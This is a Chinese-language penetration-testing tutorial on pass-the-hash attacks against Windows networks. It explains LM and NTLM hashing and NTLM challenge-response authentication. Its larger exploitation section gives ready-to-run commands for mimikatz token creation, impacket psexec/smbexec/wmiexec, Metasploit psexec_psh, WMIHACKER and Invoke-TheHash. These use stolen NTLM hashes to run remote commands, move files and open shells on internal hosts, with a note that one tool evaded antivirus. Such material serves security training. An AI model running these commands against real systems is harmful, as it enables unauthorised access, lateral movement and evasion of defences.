1200字范文,内容丰富有趣,写作的好帮手!
1200字范文 > pth(pass the hash)哈希传递攻击

pth(pass the hash)哈希传递攻击

时间:2018-09-17 22:06:58

相关推荐

pth(pass the hash)哈希传递攻击

一.前言

pth(pass-the-hash)哈希传递攻击在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过LM HashNTLM Hash访问远程主机或服务,而不用提供明文密码

这类攻击适用于:

域/工作组环境账号hash内网中存在和当前机器相同的密码

(ps:微软打了KB22871997补丁后只有Administrator(SID 500)可以PTH成功,默认windows server 后都会存在补丁)

注意:打了KB22871997补丁后,不是sid 500的用户,pth的时候会提示权限不足,如图所示:

二.NTLM认证

2.1 Lmhash和ntlmhash

正常mimimatzdump的hash如下:

格式:

user:sid:Lmhash:ntlmhash

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Lmhash
明文字段经过处理后使用des算法进行加密形成Lmhash密码小于15为字符才能生成lmhash密文

由于Lmhash加密算法薄弱易被破解,微软从Windows Vista和Windows Server 开始,微软默认禁用LM hash。

因为在vista后不再支持lmhash,所以后面版本的windows抓到的hash中的lmhash字段都是aad3b435b51404eeaad3b435b51404ee(空密码)

ntlmhash

为了解决lmhash强度不够的问题,微软推出了ntlmhash

加密流程如下:

先将用户密码转换为十六进制格式将十六进制格式的密码进行Unicode编码使用MD4对Unicode编码数据进行Hash计算,形成ntmlhash密文字段

2.2 NTLM认证方式

NTLM认证采用质询/应答(Challenge/Response)的消息交换模式。NTLM既可用于域环境下的身份认证,也可以用于没有域的工作组环境。主要有本地认证和网络认证两种方式

本地认证

用户登陆windows时,windows首先会调用winlogon.exe进程接收用户输入的密码,之后密码会被传递给lsass.exe进程,进程会先在内存中存储一份明文密码,并将密码加密为NTLM hash,与本地SAM数据库中用户的NTLM hash对比,一致则登陆成功

网络认证

以域环境中NTLM网络认证流程举例:

首先用户输入正确用户密码登陆到客户端主机,用户想要访问某个服务器的服务,客户端先发送一个包含用户名明文的数据包给服务器,发起认证请求;服务器生成一个随机数,称为Challenge,返回给客户端;客户端接收到Challenge后,用密码hash加密,生成Response(net-ntlmhash),发送给服务;服务将Response、用户名、Challenge发送给域控验证。域控使用本地数据库(NTDS.dit)中保存的对应用户的NTLM hash对Challenge进行加密,得到的结果与Response进行对比,一致则认证成功。然后将认证结果返回给服务端;

2.3 ntlm认证流程

1、客户端向服务端发起认证

2、服务器收到请求后,生成一个16位的随机数(这个随机数被称为Challenge),明文发送回客户端。并使用登录用户密码hash加密Challenge,获得Challenge1

3、客户端接收到Challenge后,使用登录用户的密码hash对Challenge加密,获得responseChallenge2(这个结果被称为net-ntlmhash),将response发送给服务器。其中net-ntlmhash字段可以做hash破解和relay攻击。

4、服务器接收客户端加密后的response,比较Challenge1和Challenge2,如果相同,验证成功

response:

三.利用

3.1 利用mimikatz进行hash传递

privilege::debug #/domain:目标地址,/ntlm参数需要为ntlmhash值#创建访问令牌sekurlsa::pth /user:administrator /domain:192.168.4.26 /ntlm:47bf8039a8506cd67c524a03ff84ba4e

会重新打开本地的cmd窗口,pth成功无需认证建立ipc共享,可以使用psexec或者wmi进行远程命令执行

cobaltstrike会话中,也可以先利用mimikatz创建访问令牌,然后使用steal_token窃取令牌获取权限

3.2 利用impacket套件

/SecureAuthCorp/impacket

#-hashes Lmhash:ntlmhash#只用445端口,会创建服务,命令执行结束后会删除服务python psexec.py -hashes f26fb3ae03e93ab9c81667e9d738c5d9:47bf8039a8506cd67c524a03ff84ba4e administrator@192.168.4.27 "ipconfig"python smbexec.py -hashes f26fb3ae03e93ab9c81667e9d738c5d9:47bf8039a8506cd67c524a03ff84ba4e administrator@192.168.4.27#用445和135端口,通过wmic方式执行命令python wmiexec.py -hashes f26fb3ae03e93ab9c81667e9d738c5d9:47bf8039a8506cd67c524a03ff84ba4e administrator@192.168.4.27 "ipconfig"

3.3 metasploit psexec模块

metasploit有二个pse的模块

exploit/windows/smb/psexec#Powershell 版本的 psexecexploit/windows/smb/psexec_psh

metasploit获取到目标的session会话后,可通过添加路由表,让metasploit的网络通过已获取到的主机(session)出去

msf添加路由表:

利用psh模块进行hash传递攻击

#smbpass参数可以为明文,也可以为hash。当为hash的时候,格式为Lmhash:ntlmhashset smbpass f26fb3ae03e93ab9c81667e9d738c5d9:47bf8039a8506cd67c524a03ff84ba4e

3.4 WMIHACKER套件

WMIHACKER

WMIHACKER用的是135端口,wmic方式执行命令

#有命令回显执行方式cscript WMIHACKER_0.6.vbs /cmd 172.16.94.187 administrator "Password!" "systeminfo" 1#无命令回显cscript WMIHACKER_0.6.vbs /cmd 172.16.94.187 administrator "Password!" "systeminfo > c:\1.txt" 0#模拟shell模式cscript WMIHACKER_0.6.vbs /shell 172.16.94.187 administrator "Password!" #文件上传-复制本机calc.exe到远程主机c:\calc.execscript wmihacker_0.4.vbe /upload 172.16.94.187 administrator "Password!" "c:\windows\system32\calc.exe" "c:\calc"#文件下载-下载远程主机calc.exe到本地c:\calc.execscript wmihacker_0.4.vbe /download 172.16.94.187 administrator "Password!" "c:\calc" "c:\windows\system32\calc.exe" #使用hash进行认证,需要配合mimikatz的pth功能进行使用。先使用mimikataz创建访问令牌。cscript WMIHACKER_0.6.vbs /cmd 172.16.94.187 - - "systeminfo > c:\1.txt" 0

利用获取到的的账号密码进行pth

利用ntlm hash进行pth

利用ntlm hash进行pth的时候,先使用mimikatz创建访问令牌

利用ntlm hash进行pth,获取shell会话

可以绕过杀软,经测试360没有反应

3.5 Invoke-TheHash

/Kevin-Robertson/Invoke-TheHash

模块参数说明:

1.Invoke-TheHash模块

#-TargetExclude:要排除的IP地址#-Domain:域名,如果是工作组可以省略该参数#-Hash:指定的hash指,类型可以为ntlm或LM:ntlm#-type:指定调用的函数,值:SMBClient,SMBEnum,SMBExec,WMIExecpowershell -exec bypass//进入powershell窗口。exec bypass表示将powershell的执行策略设置为bypass,运行任何脚本运行。相当于get-ExecutionPolicy ByPassimport-module .\Invoke-TheHash.ps1//加载模块Invoke-TheHash.ps1import-module .\Invoke-WMIExec.ps1//加载模块Invoke-WMIExec.ps1#通过Invoke-TheHash模块调用WMIExec函数Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100.50 -Username Administrator -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Command "whoami" -verbose

2.Invoke-WMIExec模块

powershell -exec bypassimport-module .\Invoke-WMIExec.ps1 #直接使用Invoke-WMIExec模块,通过wmic方式无回显执行命令,用135端口Invoke-WMIExec -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Command "whoami" -verbose

3.Invoke-SMBExec模块

powershell -exec bypassimport-module .\Invoke-SMBExec.ps1#使用 invoke-smbexec模块函数,通过smb方式无回显执行命令,用445端口invoke-smbexec -Target 192.168.247.177 -username administrator -Hash 47bf8039a8506cd67c524a03ff84ba4e -Command "shutdown -s -t 800" -verbose

4.Invoke-SMBEnum模块

powershell -exec bypassimport-module .\Invoke-SMBEnum.ps1#使用Invoke-SMBEnum模块函数,通过smb 2.1协议枚举所有的共享和用户信息invoke-SMBEnum -Target 192.168.247.177 -username administrator -Hash 47bf8039a8506cd67c524a03ff84ba4e -Command "ipconfig" -verbose

5.Invoke-SMBClient模块

用于操作主机上的共享目录

四. 杀软

当目标主机存在杀软的时候,杀软会拦截

1.psexec

psexec的时候会落地文件,创建服务

2.wmic

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。